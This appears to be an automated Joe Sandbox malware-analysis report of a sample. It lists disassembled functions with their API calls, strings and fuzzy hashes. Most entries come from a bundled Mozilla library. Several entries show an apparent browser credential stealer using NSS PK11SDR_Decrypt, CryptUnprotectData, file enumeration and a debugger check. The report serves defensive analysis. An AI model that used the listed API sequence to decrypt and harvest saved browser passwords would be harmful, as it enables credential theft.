API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 9ca0cb384127ea30022fbd82c8910ee4ffc1e1bba9bf4086f0ee77ba6bcdf1d2
Instruction ID: 6984b95b8f21bcaf7116555dcb96fc2b911a73ab530ae486ec14f718bae17cba
Opcode Fuzzy Hash: 9ca0cb384127ea30022fbd82c8910ee4ffc1e1bba9bf4086f0ee77ba6bcdf1d2
Instruction Fuzzy Hash: C8B2AD717097418FD718CF29C590716BBE5BF86328F28C66DE86A8BB95D770E840CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C935600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C935CB6
data, xrefs: 6C936131
expected a Count entry, xrefs: 6C935AC3
schema, xrefs: 6C93606D
ProfileBuffer parse error: %s, xrefs: 6C935AC8, 6C935CBB
name, xrefs: 6C935E79, 6C935E8F

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 66ca662028dcfd5a1c8af31c936979b82e84b43a7c93ed2cc0b43be3f65dfa6a
Instruction ID: c8605ec6389c502879fb63e6645506917e60dd0356b46aa0c95f169b7b3e912a
Opcode Fuzzy Hash: 66ca662028dcfd5a1c8af31c936979b82e84b43a7c93ed2cc0b43be3f65dfa6a
Instruction Fuzzy Hash: DF926CB1A083518FD724CF28C59075BBBE1BFC9308F54892DE49A9B751DB30E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C927E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C928280, 6C9283E1
schema, xrefs: 6C9281E3, 6C928311
name, xrefs: 6C927ECF, 6C928335
(pre-xul), xrefs: 6C927E88

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 60c7c834ebb861f988168ef347d8381f0037fd6e43335829c2827094528b6252
Instruction ID: aa57a6a78bcda9920c143c3ca9430dc8588eb69805178dfc19cf81958d235c31
Opcode Fuzzy Hash: 60c7c834ebb861f988168ef347d8381f0037fd6e43335829c2827094528b6252
Instruction Fuzzy Hash: 2BE19EB2A043408FD710CF69884066BFBE9BB95314F158E2DE899D7780DB74DD498B91

Uniqueness

Uniqueness Score: -1.00%

Function 6C90D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D4F2
LeaveCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D50B

Part of subcall function 6C8ECFE0: EnterCriticalSection.KERNEL32(6C96E784), ref: 6C8ECFF6
Part of subcall function 6C8ECFE0: LeaveCriticalSection.KERNEL32(6C96E784), ref: 6C8ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D52E
EnterCriticalSection.KERNEL32(6C96E7DC), ref: 6C90D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C90D6A6
LeaveCriticalSection.KERNEL32(6C96E7DC), ref: 6C90D712
LeaveCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C90D7EA

Strings

<jemalloc>, xrefs: 6C90D827
: (malloc) Error initializing arena, xrefs: 6C90D82C

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: fe1c24fbaa35e3eeb12d1840e556b29a853bea4317c928c5940b43f02481d300
Instruction ID: 50c7bc6e829763a80164503e0329843002b7b4c1a2e750b89e1df892faab3e6f
Opcode Fuzzy Hash: fe1c24fbaa35e3eeb12d1840e556b29a853bea4317c928c5940b43f02481d300
Instruction Fuzzy Hash: F6918272B087418FE714CF29C59072AB7E5EB8A714F25492EE59AC7F85E730E844CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C905E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C905EDB
memset.VCRUNTIME140(6C947765,000000E5,55CCCCCC), ref: 6C905F27
LeaveCriticalSection.KERNEL32(?), ref: 6C905FB2
memset.VCRUNTIME140(6C947765,000000E5,96C09015), ref: 6C9061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C907652

Strings

MOZ_CRASH(), xrefs: 6C907BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9072E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C90730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C907BCD, 6C907C1F, 6C907C34, 6C9080FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9072F8

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 609d8febf8956fbeec5dd110f45ef6ccd2fe4c4700862c6584f407b7cac5c5de
Instruction ID: fff7a242e7d25e501a438fc96814564f1097535386d74ead683a825df0fdfb0a
Opcode Fuzzy Hash: 609d8febf8956fbeec5dd110f45ef6ccd2fe4c4700862c6584f407b7cac5c5de
Instruction Fuzzy Hash: 1C336C7170A7018FD308CF29C590715BBE6BF85328F29C6ADE9698B7A5D731E881CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF90 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BFC3
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,04201130), ref: 0040BFE1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
memcpy.MSVCRT ref: 0040C082
lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
PK11_FreeSlot.NSS3(?), ref: 0040C0D1
lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction ID: c615a08a89d19efff62b5a0e6981dcd2a682f0599fa2db432923c9597831d409
Opcode Fuzzy Hash: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction Fuzzy Hash: 22417E75D0420ADBDB20CF90DD88BEEBBB9BB48340F1041A9E605A72C0DB745A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6C944EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C944EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C944F2E
moz_xmalloc.MOZGLUE ref: 6C944F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C944F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9452E6
Sleep.KERNEL32(00000010), ref: 6C945481
free.MOZGLUE(?), ref: 6C945498

Strings

(, xrefs: 6C945250

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 080927a66ac8c2d5db833a9808fd535a93c44e50e3a7eaa0bf62908590cd19dd
Instruction ID: 60e4268ac12069bf7d7152b20dc850da166fc7eb9c8c915195cb84c68e198cef
Opcode Fuzzy Hash: 080927a66ac8c2d5db833a9808fd535a93c44e50e3a7eaa0bf62908590cd19dd
Instruction Fuzzy Hash: 1BF1D271A18B408FD716CF39C85062BB7F9AFD6384F55872EF846A7690DB31D8428B81

Uniqueness

Uniqueness Score: -1.00%

Function 0040D540 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,0041D746), ref: 0040D58E
StrCmpCA.SHLWAPI(?,0041DC28), ref: 0040D5DE
StrCmpCA.SHLWAPI(?,0041DC2C), ref: 0040D5F4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DB0A
FindClose.KERNEL32(000000FF), ref: 0040DB1C

Strings

[@, xrefs: 0040D562, 0040DB2A, 0040D623, 0040D5A5, 0040D626
\*.*, xrefs: 0040D556

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: [@$\*.*
API String ID: 2325840235-1445036518
Opcode ID: 3216c81fd6d92aed9d35c2e8b3f5b852a761e1b9d4d9739abecbc8b179df50c4
Instruction ID: 5086e1dd9f189559ddbff5738d7534b81ef4efc7c2da90a7a59429af0ff5c2f4
Opcode Fuzzy Hash: 3216c81fd6d92aed9d35c2e8b3f5b852a761e1b9d4d9739abecbc8b179df50c4
Instruction Fuzzy Hash: 27F1E3759142189ACB15FB61DC91EDE7739AF54304F8142DFA40A62091EF34AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6C932C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C932C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C932C61

Part of subcall function 6C8E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8E4E5A
Part of subcall function 6C8E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C932C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C932E2D

Part of subcall function 6C8F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8F81DE

Strings

(root), xrefs: 6C93354F
expected a Time entry, xrefs: 6C932E36
ProfileBuffer parse error: %s, xrefs: 6C932E3B

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c9e7dcc7579a8318cc198b8d90a3b3bc4b9e9beedbbed1aa02f2630c1b4e2519
Instruction ID: b0118bd5ea6df6233a18ef57aba8bf7cfa87bf5cfd91b846c25bb31aecee364d
Opcode Fuzzy Hash: c9e7dcc7579a8318cc198b8d90a3b3bc4b9e9beedbbed1aa02f2630c1b4e2519
Instruction Fuzzy Hash: 6591F1B06087408FD724CF28C48469FB7E5AFD9358F10592DE59E87B91DB30D94ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C949E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C949F3D
__aulldiv.LIBCMT ref: 6C949F77
__aullrem.LIBCMT ref: 6C949F8C
__aulldiv.LIBCMT ref: 6C94A023

Strings

NaN, xrefs: 6C949EAB
-Infinity, xrefs: 6C949E60, 6C949E7B

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 40ef865be435f3554fdce24ad3608b3c9e63660bbd82c26dc27f97e6ced8d44b
Instruction ID: 01e07a7e076b44545effa5120c8d9d36d99400d295e81c41e465255139de3b67
Opcode Fuzzy Hash: 40ef865be435f3554fdce24ad3608b3c9e63660bbd82c26dc27f97e6ced8d44b
Instruction Fuzzy Hash: CAC1A131E04319CBDB14CFA8C8907AEB7BAAB99314F148529D405ABB80DB71ED49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C8ED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C8EDA88
8, xrefs: 6C8EDC08
0, xrefs: 6C8EDC7F
1, xrefs: 6C8EDBDD
0, xrefs: 6C8ED852
-, xrefs: 6C8ED7DD
@, xrefs: 6C8EDAF6
9, xrefs: 6C8EDE7F

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e419c0f21c9447473c211a241b2ba4b35aedbe372ff60c51b52c6d3eda1c61ae
Instruction ID: fc2b587c533f6812f752cb13e047214b1d354374d9b6fca2b77b27c42c2f4986
Opcode Fuzzy Hash: e419c0f21c9447473c211a241b2ba4b35aedbe372ff60c51b52c6d3eda1c61ae
Instruction Fuzzy Hash: F162BC7150C3558FD721CF19C69075ABBE2AFCB358F184E1EE8E14BA91C3359989CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6C8EBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C8EC1CB
__aulldiv.LIBCMT ref: 6C8EC24C
__aulldiv.LIBCMT ref: 6C8EC348
__aullrem.LIBCMT ref: 6C8EC365
__aulldiv.LIBCMT ref: 6C8EC37D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0e56ff83f03b60a0f5535468c9598bab08031c2be1d6f3337dc9c4b296ece45c
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4B322732B046159FC718DE2CC891656BBE6AFCA310F098A7DE895CB396D730ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00417B4E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00418E46
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00418E5B
UnhandledExceptionFilter.KERNEL32(0041C690), ref: 00418E66
GetCurrentProcess.KERNEL32(C0000409), ref: 00418E82
TerminateProcess.KERNEL32(00000000), ref: 00418E89

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction ID: 5828a94612e18b022276c58097a982c86e574ee0b254963d5fd3238681fe770b
Opcode Fuzzy Hash: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction Fuzzy Hash: 2D21C274A01304EFC721EF54F944B843BB4FB8C309F91907AE64987260E7B456868F9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660), ref: 00406C1D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C24
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00406C51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,`v@,80000001,h0A), ref: 00406C74
LocalFree.KERNEL32(?,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C7E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction ID: a62b9dfe9577ca48fe2f29d604933a8f18b811f44e231435f7e1fa1bbfb2df61
Opcode Fuzzy Hash: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction Fuzzy Hash: 01011275A40708BBEB20DF94CD45F9E7779EB44B05F104155F706FB2C0D670AA118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6C95545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C958A4B

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c3881b74ca98fba9444127e6b6be4d3d89ff3d2cf175b298cec2c2b802a2327d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: A3B10672E0121ACFDB14CF68CC907A8B7B2EF95314F5902A9C449EB791D730E996CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C95542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C95925C

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 87bc98a462611eeebf906a5e145a8e152abdf2d4cf65b26168586cbd60e01367
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 66B1F572E0121ACFDB14CF58C8806ADB7B2EF94314F590269C949EB785D730E99ACB90

Uniqueness

